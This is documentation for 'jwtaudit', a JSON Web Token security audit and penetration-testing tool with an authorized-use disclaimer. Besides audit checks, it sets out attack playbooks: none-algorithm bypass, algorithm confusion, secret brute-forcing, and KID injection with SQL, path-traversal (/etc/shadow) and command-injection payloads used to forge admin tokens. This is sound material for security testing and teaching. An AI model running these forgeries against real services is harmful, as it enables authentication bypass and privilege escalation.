A full-featured, interactive security audit tool for JSON Web Tokens. Built in pure Go. Runs everywhere. No dependencies.
- What is jwtaudit?
- Installation & Setup
- The Interactive Shell
- Loading & Decoding Tokens
- Security Audit
- Forging Tokens
- The Draft Builder
- Encoding Tokens
- Signature Verification
- Key Generation
- Brute-Force Secrets
- JSON Input Methods
- Algorithm Support
- Security Checks Reference
- Attack Workflows
- Command Quick Reference
jwtaudit is a command-line security audit framework for JSON Web Tokens (JWT). It is designed for security engineers, penetration testers, and developers who need to thoroughly inspect, test, and challenge JWT implementations.
Where most JWT tools stop at base64 decoding, jwtaudit goes further — it runs automated vulnerability checks, generates exploit tokens, brute-forces secrets, and supports the full spectrum of asymmetric cryptography (RSA and ECDSA), all from a single interactive shell.
- Interactive REPL shell — like GDB, but for JWTs. Load a token, run commands, build attacks step by step.
- 15+ automated security checks — covering algorithm weaknesses, missing claims, PII leakage, injection attacks, and more.
- Full signing support — HMAC (HS256/384/512), RSA (RS256/384/512, PS256/384/512), and ECDSA (ES256/384/521).
- Attack toolkit built in — none-algorithm bypass, algorithm confusion, KID injection, payload forging, and signature re-signing.
- Zero dependencies — pure Go standard library. One binary, every platform.
| Platform | Binary |
|---|---|
| Linux x86_64 | jwtaudit-linux-amd64 |
| Linux ARM64 (Raspberry Pi, AWS Graviton) | jwtaudit-linux-arm64 |
| macOS Intel | jwtaudit-macos-amd64 |
| macOS Apple Silicon (M1/M2/M3) | jwtaudit-macos-arm64 |
| Windows x64 | jwtaudit-windows-amd64.exe |
Download the binary for your platform and make it executable:
# Linux / macOS
chmod +x jwtaudit-linux-amd64
mv jwtaudit-linux-amd64 /usr/local/bin/jwtaudit
# Verify
jwtaudit --version # or just: jwtauditOn Windows, place jwtaudit-windows-amd64.exe anywhere in your PATH and rename it to jwtaudit.exe.
Requires Go 1.22+. Zero external dependencies.
git clone https://github.com/yourorg/jwtaudit
cd jwtaudit
go build -o jwtaudit .
# Cross-compile for other platforms
GOOS=darwin GOARCH=arm64 go build -o jwtaudit-macos-arm64 .
GOOS=windows GOARCH=amd64 go build -o jwtaudit-windows.exe .Interactive shell (most common use case):
Load a token directly from the command line:
jwtaudit eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0In0.xxxxxThis starts the shell with the token already loaded and decoded.
jwtaudit runs as an interactive REPL (Read-Eval-Print Loop). Every command is typed at the prompt, and the session is stateful — what you load persists until you load something new.
jwtaudit [HS256|alice] ❯
The prompt tells you three things at a glance:
jwtaudit— the tool name[HS256|alice]— the current token's algorithm andsubclaim*(yellow asterisk, if present) — you have an unsaved draft being built
When no token is loaded:
jwtaudit (no token) ❯
jwtaudit (no token) ❯ help
Displays the full command reference, input method guide, and example workflows.
jwtaudit [HS256|alice] ❯ history
Shows every command entered during the current session, numbered. Useful for retracing your steps during a pentest.
jwtaudit [HS256|alice] ❯ clear
Clears the terminal and redraws the banner. The loaded token and draft are preserved.
jwtaudit [HS256|alice] ❯ exit
Also accepts quit and q.
load <jwt_token>
Parses the token into header, payload, and signature. Auto-displays a decoded view on success. The draft is reset.
jwtaudit (no token) ❯ load eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsInJvbGUiOiJ1c2VyIn0.SflKxw...
✓ Token loaded. Draft cleared.
┌─── JWT DECODED ─────────────────────────────────────────────┐
│ HEADER
│ Algorithm : HS256
│ Type : JWT
│
│ PAYLOAD
│ {
│ "sub": "alice",
│ "role": "user"
│ }
│
│ SIGNATURE
│ SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQ...
└─────────────────────────────────────────────────────────────┘
The algorithm is color-coded:
- 🟢 Green — strong asymmetric algorithm (RS256, ES256, etc.)
- 🟡 Yellow — symmetric HMAC (HS256/384/512) — secret must be protected
- 🔴 Red + Warning —
nonealgorithm — no signature at all
decode
Re-displays the decoded view of the currently loaded token. Useful after a forge operation. Short alias: d.
claims
Prints every payload claim with its type, raw value, and a human-readable label for registered claims. Timestamps (exp, iat, nbf) are decoded into UTC dates alongside the raw Unix integer.
jwtaudit [HS256|alice] ❯ claims
┌─── PAYLOAD CLAIMS ──────────────────────────────────────────┐
Claim Type Value
────────────────────────────────────────────────────────────
sub string alice (Subject)
role string user
iat number 1516239022 (2018-01-18 01:30:22 UTC) (Issued At)
exp number 1893456000 (2030-01-01 00:00:00 UTC) (Expiry)
└─────────────────────────────────────────────────────────────┘
header
Displays each header field with inline security risk annotations.
jwtaudit [HS256|alice] ❯ header
┌─── HEADER ANALYSIS ─────────────────────────────────────────┐
alg = HS256 ⚠ Symmetric — secret must stay private
typ = JWT
kid = key-01 ⚠ Risk: SQL/path injection via key lookup
└─────────────────────────────────────────────────────────────┘
Fields that trigger warnings include kid, jku, x5u, jwk, x5c, and alg=none.
time
Performs a complete time-based analysis of the token against the current system clock:
jwtaudit [HS256|alice] ❯ time
┌─── TOKEN TIMING ANALYSIS ───────────────────────────────────┐
│ Current time: 2025-06-01 09:30:00 UTC
│ Issued At : 2018-01-18 01:30:22 UTC (age: 7y 4m 14d)
│ Expires At : 2030-01-01 00:00:00 UTC [expires in 4y 7m]
│ Lifetime : 12y 0m ⚠ VERY LONG (>1yr)
└─────────────────────────────────────────────────────────────┘
| Color | Meaning |
|---|---|
| 🟢 Green | Token is valid and not expiring soon |
| 🟡 Yellow | Expiring within 1 hour |
| 🔴 Red | Expired, or expiring within 5 minutes |
Missing claims (iat, exp) are flagged explicitly.
audit
Runs 15+ security checks against the current token and produces a full findings report with severities, details, and remediation advisories. Every pentest session should start here.
jwtaudit [HS256|alice] ❯ audit
┌─── SECURITY AUDIT RESULTS ──────────────────────────────────┐
Token: eyJhbGciOiJIUzI1NiIsInR5...
Checks run: 15+ Findings: 4
[1] [HIGH] Missing 'exp' Claim (No Expiry)
Detail : Token has no expiration time — valid forever unless revoked.
Advisory: Always set 'exp'. Use short-lived tokens (15min–1hr) + refresh tokens.
[2] [MEDIUM] Missing 'iss' Claim (Issuer)
Detail : No issuer field. Server cannot validate the token's origin.
Advisory: Include 'iss' and validate it against a whitelist server-side.
[3] [HIGH] Privileged Role Claim: role=admin
Detail : Token contains elevated privileges. If forged → privilege escalation.
Advisory: Validate roles server-side from a trusted database.
[4] [LOW] HS256 Used (Symmetric Algorithm)
Detail : HS256 uses a shared secret. If it leaks, tokens can be forged.
Advisory: Prefer RS256/ES256 for asymmetric key signing.
Risk Score: 58/100
└─────────────────────────────────────────────────────────────┘
| Level | Color | Meaning |
|---|---|---|
| CRITICAL | 🔴 | Directly exploitable. Immediate action required. |
| HIGH | 🔴 | Serious risk. Likely exploitable in context. |
| MEDIUM | 🟡 | Weakens security posture or enables chained attacks. |
| LOW | 🔵 | Best practice violation or minor informational risk. |
| INFO | Gray | Informational — worth noting but not a direct risk. |
The audit produces a risk score from 0–100:
- Each CRITICAL finding deducts 25 points
- Each HIGH deducts 15
- Each MEDIUM deducts 7
- Each LOW deducts 3
- Each INFO deducts 1
A score below 60 is shown in red. Below 80 in yellow. 80+ in green.
The forge command is the attack toolkit. All forge operations output a token with the original signature preserved (making it invalid for signature-checking servers) unless you follow up with forge sign to re-sign with a known key.
The typical attack flow:
forge <something>→ get modified token →forge sign <secret>→ get a valid, forged token
forge none
Generates four variants of the current token with the algorithm changed to none. Servers with misconfigured algorithm validation may accept these without verifying the signature.
jwtaudit [HS256|alice] ❯ forge none
⚠ FORGE: None Algorithm Bypass
Test all variants — servers may reject some case-insensitively.
[alg=none ] eyJhbGciOiJub25lIi....<payload>.
[alg=None ] eyJhbGciOiJOb25lIi....<payload>.
[alg=NONE ] eyJhbGciOiJOT05FIi....<payload>.
[alg=nOnE ] eyJhbGciOiJuT25FIi....<payload>.
[orig sig] <original header>.<payload>.<original_sig>
[empty sig] <none header>.<payload>.
The variants cover different case combinations because some JWT libraries do case-insensitive algorithm matching. The [orig sig] variant tests libraries that verify the signature format but not the actual cryptographic check.
forge payload <key> <value>
Replaces (or adds) a single payload claim and outputs the modified token. Values are automatically coerced: true/false become booleans, numbers become numeric.
jwtaudit [HS256|alice] ❯ forge payload role admin
⚠ FORGE: Payload modified: role → admin
Signature is INVALID. Use 'forge sign <secret>' to re-sign.
Payload preview:
{
"sub": "alice",
"role": "admin"
}
eyJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiYWRtaW4iLCJzdWIiOiJhbGljZSJ9.<original_sig>
forge multi <key=value> [key=value ...]
Mutates several payload claims in a single operation using key=value pairs.
jwtaudit [HS256|alice] ❯ forge multi role=admin isAdmin=true sub=administrator
⚠ FORGE: Multi-claim forge: role=admin, isAdmin=true, sub=administrator
This is faster than chaining multiple forge payload commands and useful when escalating privileges requires changing several claims simultaneously.
forge json <payload_json>
forge json @<filepath>
forge json -
Replaces the entire payload with the JSON you provide. The header and original signature are preserved. Supports all three input methods (see Section 12).
jwtaudit [HS256|alice] ❯ forge json { "sub": "admin", "role": "superuser", "exp": 9999999999 }
Or read from a file:
jwtaudit [HS256|alice] ❯ forge json @/tmp/evil_payload.json
forge header <header_json>
Replaces the entire header. Useful for algorithm confusion attacks — for example, changing alg from RS256 to HS256 before re-signing with the server's public key as the HMAC secret.
jwtaudit [HS256|alice] ❯ forge header { "alg": "HS256", "typ": "JWT", "kid": "attacker" }
forge full <header_json> <payload_json>
Replaces both header and payload in one step. Both arguments support @file and - input.
jwtaudit [HS256|alice] ❯ forge full { "alg": "HS256", "typ": "JWT" } { "sub": "root", "role": "admin", "exp": 9999999999 }
forge kid <payload>
forge kid ?
Injects a custom value into the kid (Key ID) header parameter. The kid field is used by servers to look up the signing key — if it's used unsanitized in a database query or file path, it becomes an injection vector.
Use forge kid ? to display and generate tokens for all built-in injection payloads:
jwtaudit [HS256|alice] ❯ forge kid ?
⚠ KID Injection Payloads:
[SQL union ] eyJ...header_with_sql_kid....<payload>.<sig>
[SQL or1=1 ] eyJ...
[SQL drop ] eyJ...
[Path /dev/null ] eyJ...
[Path /etc/passwd ] eyJ...
[Path /proc/fd ] eyJ...
[Cmd injection ] eyJ...
[Null byte ] eyJ...
Custom payload example:
jwtaudit [HS256|alice] ❯ forge kid ../../etc/shadow
forge sign <secret_or_keyfile>
Takes the current token (or draft) and re-signs it with the provided key. This is the final step that turns an unsigned forged token into a cryptographically valid one.
The algorithm is read from the token's header — you don't need to specify it:
Header alg |
What to pass |
|---|---|
HS256 / HS384 / HS512 |
The HMAC secret string |
RS256 / RS384 / RS512 / PS256 / PS384 / PS512 |
Path to a PEM-encoded RSA private key |
ES256 / ES384 / ES521 |
Path to a PEM-encoded EC private key |
# HMAC re-signing after brute-forcing the secret
jwtaudit [HS256|alice] ❯ forge payload role admin
jwtaudit [HS256|alice] ❯ forge sign mysecret
✓ Token signed and ready (HS256):
eyJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiYWRtaW4iLCJzdWIiOiJhbGljZSJ9.VALID_SIG
# RSA re-signing
jwtaudit [RS256|alice] ❯ forge payload role admin
jwtaudit [RS256|alice] ❯ forge sign /path/to/rsa_private.pem
✓ Token signed and ready (RS256):
eyJhbGciOiJSUzI1NiJ9...
After signing, the new token is automatically loaded as the current token, and any draft is cleared.
The draft builder lets you construct a token incrementally — field by field — before encoding or signing it. This is the cleanest way to build tokens from scratch.
The prompt shows a * (yellow asterisk) whenever you have an active draft.
set header <key> <value>
jwtaudit (no token) ❯ set header alg RS256
✓ header.alg = RS256
jwtaudit (no token)* ❯ set header typ JWT
✓ header.typ = JWT
set payload <key> <value>
Values are coerced to the right type automatically: true/false → boolean, numeric strings → number, everything else → string.
jwtaudit (no token)* ❯ set payload sub alice
✓ payload.sub = alice
jwtaudit (no token)* ❯ set payload role admin
✓ payload.role = admin
jwtaudit (no token)* ❯ set payload isAdmin true
✓ payload.isAdmin = true ← stored as boolean, not string
set exp +<minutes> # relative to now
set exp <unix_timestamp>
jwtaudit (no token)* ❯ set exp +60
✓ payload.exp = 1748793600 (2025-06-01 10:30:00 UTC)
jwtaudit (no token)* ❯ set exp +43200 # 30 days from now
✓ payload.exp = 1751385600 (2025-07-01 09:30:00 UTC)
set iat now
jwtaudit (no token)* ❯ set iat now
✓ payload.iat = 1748790000 (now)
set show
Displays the current draft header and payload in full, colorized JSON. Use this to review before encoding.
jwtaudit (no token)* ❯ set show
Draft Header:
{
"alg": "HS256",
"typ": "JWT"
}
Draft Payload:
{
"exp": 1748793600,
"iat": 1748790000,
"role": "admin",
"sub": "alice"
}
set reset
Resets the draft back to the values of the currently loaded token (or empty if no token is loaded). The * indicator disappears from the prompt.
jwtaudit (no token) ❯ set header alg HS256
jwtaudit (no token)* ❯ set header typ JWT
jwtaudit (no token)* ❯ set payload sub alice
jwtaudit (no token)* ❯ set payload role admin
jwtaudit (no token)* ❯ set payload email alice@example.com
jwtaudit (no token)* ❯ set iat now
jwtaudit (no token)* ❯ set exp +120
jwtaudit (no token)* ❯ set show # review before committing
jwtaudit (no token)* ❯ encode draft supersecret
✓ Token encoded (HS256):
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6ImFsaWNlQGV4...
Token auto-loaded. Draft cleared.
jwtaudit [HS256|alice] ❯
encode <header_json> <payload_json> <key>
encode draft <key>
Encodes a new JWT from scratch. The algorithm is read from the header's alg field — no need to specify it separately. The key argument is either an HMAC secret string or a path to a PEM key file.
Unquoted JSON with spaces (the most natural form):
jwtaudit (no token) ❯ encode { "alg": "HS256", "typ": "JWT" } { "sub": "alice", "role": "admin" } supersecret
✓ Token encoded (HS256):
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Quoted JSON:
jwtaudit (no token) ❯ encode '{"alg":"RS256","typ":"JWT"}' '{"sub":"alice"}' /path/to/private.pem
✓ Token encoded (RS256):
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...
From files:
jwtaudit (no token) ❯ encode @/tmp/header.json @/tmp/payload.json private.pem
From draft:
jwtaudit (no token)* ❯ encode draft supersecret
After encoding, the token is automatically loaded and the draft is cleared.
verify <public_key_or_secret>
Verifies whether the current token's signature is valid using the provided key or secret. The algorithm is detected automatically from the header.
HMAC verification:
jwtaudit [HS256|alice] ❯ verify supersecret
Algorithm : HS256
Verifying : eyJhbGciOiJIUzI1NiIsInR5cCI6Ikp...
✓ SIGNATURE VALID
Token signature verified successfully.
RSA verification:
jwtaudit [RS256|alice] ❯ verify /path/to/public.pem
Algorithm : RS256
Verifying : eyJhbGciOiJSUzI1NiIsInR5cCI6Ikp...
✓ SIGNATURE VALID
Token signature verified successfully.
Failed verification:
jwtaudit [RS256|alice] ❯ verify /path/to/wrong_public.pem
✗ SIGNATURE INVALID
crypto/rsa: verification error
Token may have been tampered with, or wrong key used.
alg=none special case:
jwtaudit [none|alice] ❯ verify anything
⚠ CRITICAL: Algorithm is 'none' — no signature to verify!
verify (and encode/forge sign) can load keys from:
- PEM files — RSA private/public, EC private/public, X.509 certificates
- PKCS1 format (
BEGIN RSA PRIVATE KEY) - PKCS8 format (
BEGIN PRIVATE KEY) - PKIX/SPKI format (
BEGIN PUBLIC KEY) - X.509 certificates (
BEGIN CERTIFICATE) — extracts the public key - Inline PEM — the full PEM string directly on the command line (escape
\nas literal\n)
keygen rsa [2048|4096]
keygen ec [256|384|521]
Generates a fresh key pair and prints both the private and public key in PEM format. The keys are printed to stdout so you can copy or redirect them to files.
RSA key pair:
jwtaudit (no token) ❯ keygen rsa 2048
✓ RSA-2048 Key Pair Generated
── PRIVATE KEY (keep secret — use for signing) ──
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA2a2rwplBQLF29amygykEMmYz0+Kcj3bKBp29P2rFj7JoV9...
-----END RSA PRIVATE KEY-----
── PUBLIC KEY (share freely — use for verification) ──
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2a2rwplBQLzQNwlb...
-----END PUBLIC KEY-----
Tip: save these to files and use with encode/forge sign/verify:
encode { "alg": "RS256" } { "sub": "user" } private.pem
verify public.pem
EC key pair:
jwtaudit (no token) ❯ keygen ec 256
✓ EC P-256 Key Pair Generated
── PRIVATE KEY (keep secret — use for signing) ──
-----BEGIN EC PRIVATE KEY-----
MHQCAQEEIBkg4LBORZUC7GFolhKAGNNjdNkBmMuNrfv5vFP5...
-----END EC PRIVATE KEY-----
── PUBLIC KEY (share freely — use for verification) ──
-----BEGIN PUBLIC KEY-----
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEQ2f8...
-----END PUBLIC KEY-----
| Algorithm | Key Type | Recommended Size | Notes |
|---|---|---|---|
| RS256 / RS384 / RS512 | RSA | 2048 bits minimum | 4096 for long-lived tokens |
| PS256 / PS384 / PS512 | RSA + PSS | 2048 bits minimum | Same key type as RS* |
| ES256 | EC | P-256 | Fast, compact signatures |
| ES384 | EC | P-384 | Higher security margin |
| ES521 | EC | P-521 | Maximum EC security |
brute builtin
brute <wordlist_file>
Attempts to recover the HMAC signing secret by trying passwords against the current token's signature. Only works on HS256, HS384, and HS512 tokens.
Built-in wordlist (165+ secrets):
jwtaudit [HS256|alice] ❯ brute builtin
Using built-in wordlist (165 secrets)...
Trying...............
✓ SECRET FOUND: "supersecret"
You can now forge any token with this secret.
Next: forge payload role admin → forge sign supersecret
Custom wordlist:
jwtaudit [HS256|alice] ❯ brute /usr/share/wordlists/rockyou.txt
Loaded 14344392 secrets from /usr/share/wordlists/rockyou.txt
Trying............................................................
✓ SECRET FOUND: "password123"
When the secret is not found:
✗ Secret not found in wordlist.
Try a larger custom wordlist: brute /path/to/rockyou.txt
The built-in list includes common developer secrets across several categories:
- Generic weak passwords:
secret,password,123456,qwerty - JWT-specific defaults:
jwt_secret,JWT_SECRET,signing_key,jwtSecret - Framework defaults:
flask,django,rails,laravel,spring,express - Placeholder values:
CHANGEME,replace_this,TODO,your_secret_key - Short/empty values:
"","a","0","1" - Common variations:
secret123,Secret123,secret!,mysecret
Once the secret is found, the typical next step is full token forgery:
jwtaudit [HS256|alice] ❯ forge payload role admin
jwtaudit [HS256|alice] ❯ forge payload sub administrator
jwtaudit [HS256|alice] ❯ set exp +999999
jwtaudit [HS256|alice]* ❯ forge sign supersecret
✓ Token signed and ready (HS256):
eyJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiYWRtaW4iLCJzdWIiOiJhZG1pbmlzdHJhdG9yIn0.VALID
Many commands accept JSON arguments. jwtaudit supports four input methods that can be used interchangeably.
The most natural form — just type JSON directly, spaces and all. The parser is brace-aware and treats { ... } as a single argument:
forge json { "sub": "admin", "role": "superuser", "exp": 9999999999 }
encode { "alg": "RS256", "typ": "JWT" } { "sub": "alice" } private.pem
Useful in scripts or when the JSON is compact:
forge json '{"sub":"admin","role":"superuser"}'
forge json "{\"sub\":\"admin\"}"
Prefix a file path with @ to read JSON from a file:
forge json @/tmp/evil_payload.json
forge full @/tmp/header.json @/tmp/payload.json
encode @/tmp/header.json @/tmp/payload.json private.pem
File contents can be pretty-printed or minified JSON — both work.
Use - to paste JSON interactively. The tool prompts you to enter lines, and submits when you enter a blank line:
jwtaudit [HS256|alice] ❯ forge json -
Paste JSON (end with a blank line):
{"sub":"admin","role":"superuser","exp":9999999999,"iss":"internal","aud":"api"}
⚠ FORGE: Full payload replaced
This is useful when you have a JSON payload in your clipboard and don't want to write it to a file.
jwtaudit supports the full range of JWT signing algorithms.
| Algorithm | Type | Key Material | Notes |
|---|---|---|---|
HS256 |
HMAC-SHA256 | Shared secret string | Symmetric — both sides use same key |
HS384 |
HMAC-SHA384 | Shared secret string | Longer hash, same key format |
HS512 |
HMAC-SHA512 | Shared secret string | Longest hash variant |
RS256 |
RSA-SHA256 (PKCS1v15) | RSA private/public key | Most common asymmetric algorithm |
RS384 |
RSA-SHA384 (PKCS1v15) | RSA private/public key | |
RS512 |
RSA-SHA512 (PKCS1v15) | RSA private/public key | |
PS256 |
RSA-PSS-SHA256 | RSA private/public key | PSS padding variant |
PS384 |
RSA-PSS-SHA384 | RSA private/public key | |
PS512 |
RSA-PSS-SHA512 | RSA private/public key | |
ES256 |
ECDSA-SHA256 (P-256) | EC private/public key | Compact signatures |
ES384 |
ECDSA-SHA384 (P-384) | EC private/public key | |
ES521 |
ECDSA-SHA512 (P-521) | EC private/public key | |
none |
No signature | N/A | Security bypass vector |
All signing (encode, forge sign) and verification (verify) commands auto-detect the algorithm from the token header.
The audit command runs the following checks:
| Check | Severity | Triggered When |
|---|---|---|
| Algorithm 'none' Bypass | CRITICAL | alg header is none, None, or NONE |
| HS256 Symmetric Algorithm | LOW | Token uses HS256 |
| RS→HS Confusion Surface | INFO | Token uses an RS* algorithm |
| Check | Severity | Triggered When |
|---|---|---|
Missing exp (No Expiry) |
HIGH | exp claim is absent |
| Token is Expired | HIGH | exp is in the past |
| Excessive Lifetime (>1 year) | MEDIUM | exp - iat > 365 days |
| Long Lifetime (>30 days) | LOW | exp - iat > 30 days |
Missing iat (Issued At) |
MEDIUM | iat claim is absent |
Missing iss (Issuer) |
MEDIUM | iss claim is absent |
Missing aud (Audience) |
MEDIUM | aud claim is absent |
Missing jti (JWT ID) |
LOW | jti claim is absent |
| Check | Severity | Triggered When |
|---|---|---|
| Sensitive Data in Payload | HIGH | Claim key contains: password, secret, api_key, cvv, pin, private, credential, etc. |
| PII in Payload | MEDIUM | Claim key contains: email, phone, dob, address, name, passport, etc. |
| Privileged Role Claim | HIGH | role, roles, scope, isAdmin contains admin, root, superuser, or * |
| Check | Severity | Triggered When |
|---|---|---|
SQL Injection in kid |
CRITICAL | kid value contains SQL keywords (', --, union, select, etc.) |
Path Traversal in kid |
CRITICAL | kid value contains ../, /etc/, C:\, etc. |
Dangerous jku Header |
CRITICAL | jku header is present (remote JWKS URL) |
Dangerous x5u Header |
CRITICAL | x5u header is present (remote X.509 URL) |
Dangerous jwk Header |
CRITICAL | jwk header is present (embedded JWK) |
Dangerous x5c Header |
HIGH | x5c header is present (embedded cert chain) |
| Check | Severity | Triggered When |
|---|---|---|
| Empty Signature | CRITICAL | Signature part is empty |
| Suspiciously Short Signature | HIGH | Signature is under 20 characters |
These are complete, step-by-step attack playbooks for common JWT vulnerabilities.
The classic pentest flow for an HMAC-signed token.
# Step 1: Load the token and decode it
load eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsInJvbGUiOiJ1c2VyIn0.xxx
# Step 2: Run the security audit — look for weak claims and high-risk headers
audit
# Step 3: Inspect timing and privileges
time
claims
# Step 4: Brute-force the signing secret
brute builtin
# or with rockyou:
# brute /usr/share/wordlists/rockyou.txt
# Step 5: Once secret found ("supersecret"), forge a privileged token
forge payload role admin
forge sign supersecret
# Step 6: Verify the forged token is now valid
verify supersecret
# Done — submit the forged token to the applicationTests whether the server enforces algorithm validation.
# Step 1: Load target token
load <target_token>
# Step 2: Optionally escalate privileges first
forge payload role admin
# Step 3: Generate none-algorithm bypass variants
forge none
# Outputs 6 variants — test each against the server:
# [alg=none], [alg=None], [alg=NONE], [alg=nOnE]
# [orig sig], [empty sig]Test each variant with your HTTP client. A vulnerable server will accept any of these without verifying the signature.
When a server supports both RSA and HMAC signing and the public key is obtainable.
# Step 1: Load an RS256 token
load <rs256_token>
# Step 2: Obtain the server's RSA public key
# (from JWKS endpoint, certificate, or application source)
# Save it to /tmp/public.pem
# Step 3: Verify the original token (sanity check)
verify /tmp/public.pem
# Step 4: Forge a new header claiming HS256 with escalated payload
forge full { "alg": "HS256", "typ": "JWT" } { "sub": "admin", "role": "superuser" }
# Step 5: Re-sign using the RSA PUBLIC key as the HMAC secret
forge sign /tmp/public.pem
# Step 6: Submit the forged HS256 token to the server
# A vulnerable server will verify it using the public key as an HMAC keyWhen the kid header parameter is used unsafely in database queries or file reads.
# Step 1: Load target token
load <target_token>
# Step 2: Inspect the kid header
header
# Step 3: Try all built-in KID injection payloads
forge kid ?
# Outputs tokens for SQL injection, path traversal, command injection
# Step 4: Try a specific SQL injection payload
forge kid "' UNION SELECT 'attacker_secret' --"
# Step 5: Re-sign with the injected secret (if SQL injection returns controllable key)
forge sign attacker_secret
# Step 6: Test path traversal to /dev/null (makes signature verify against empty string)
forge kid ../../dev/null
forge sign ""For testing RS256 endpoints in development or during bug bounty recon.
# Step 1: Generate a fresh RSA key pair
keygen rsa 2048
# Copy output to private.pem and public.pem
# Step 2: Build the token
encode { "alg": "RS256", "typ": "JWT" } { "sub": "alice", "role": "admin", "iss": "auth.example.com", "aud": "api.example.com" } private.pem
# Step 3: Verify it signs correctly
verify public.pem
# Step 4: Run the security audit on your own token
audit# Step 1: Generate P-256 key pair
keygen ec 256
# Copy output to ec_private.pem and ec_public.pem
# Step 2: Build the token using draft builder
set header alg ES256
set header typ JWT
set payload sub alice
set payload role admin
set payload iss auth.example.com
set iat now
set exp +3600 # 60 hours
set show # review before encoding
encode draft ec_private.pem
# Step 3: Verify the signature
verify ec_public.pem
# Step 4: Audit it
auditEven without knowing the secret, you can gather significant intelligence from a token.
# Step 1: Load and decode
load <target_token>
decode
# Step 2: Full audit — look for vulnerabilities that don't require secret knowledge
audit
# Step 3: Check for dangerous headers
header
# Step 4: Analyze timing — is the token expired? Long-lived? No expiry?
time
# Step 5: Enumerate all claims — look for PII, sensitive data, privilege claims
claims
# Step 6: Try none bypass (doesn't require knowing the secret)
forge none
# → Test each variant against the server
# Step 7: Try KID injection if kid is present
forge kid ?| Command | Short | Description |
|---|---|---|
load <token> |
— | Load a JWT token |
decode |
d |
Decode and display current token |
claims |
c |
List payload claims |
header |
— | Show header with risk annotations |
time |
t |
Analyze token timing |
audit |
a |
Run full security audit |
forge none |
f none |
Generate none-algorithm bypass variants |
forge payload <k> <v> |
f payload |
Mutate a single payload claim |
forge multi <k=v>... |
f multi |
Mutate multiple payload claims |
forge json <json> |
f json |
Replace full payload |
forge header <json> |
f header |
Replace full header |
forge full <hdr> <pay> |
f full |
Replace header and payload |
forge kid <val> |
f kid |
KID header injection |
forge sign <key> |
f sign |
Re-sign current/draft token |
set header <k> <v> |
— | Set draft header field |
set payload <k> <v> |
— | Set draft payload field |
set exp +<min> |
— | Set expiry relative to now |
set iat now |
— | Set issued-at to now |
set show |
— | Preview current draft |
set reset |
— | Reset draft to loaded token |
encode <hdr> <pay> <key> |
e |
Encode and sign a new JWT |
encode draft <key> |
e draft |
Encode from draft |
verify <key> |
v |
Verify current token's signature |
keygen rsa [bits] |
kg rsa |
Generate RSA key pair |
keygen ec [bits] |
kg ec |
Generate EC key pair |
brute builtin |
b builtin |
Brute-force with built-in wordlist |
brute <file> |
b <file> |
Brute-force with custom wordlist |
history |
— | Show session command history |
clear |
— | Clear screen |
help |
h, ? |
Show help |
exit |
q, quit |
Exit jwtaudit |
jwtaudit is intended for authorized security testing, penetration testing, and educational purposes only.
Using this tool against systems you do not have explicit written permission to test is illegal in most jurisdictions. The authors accept no liability for misuse.
Always operate within the scope of your engagement and in accordance with applicable laws and regulations.
jwtaudit v2.1 — Built with pure Go, zero dependencies.
For authorized security testing only.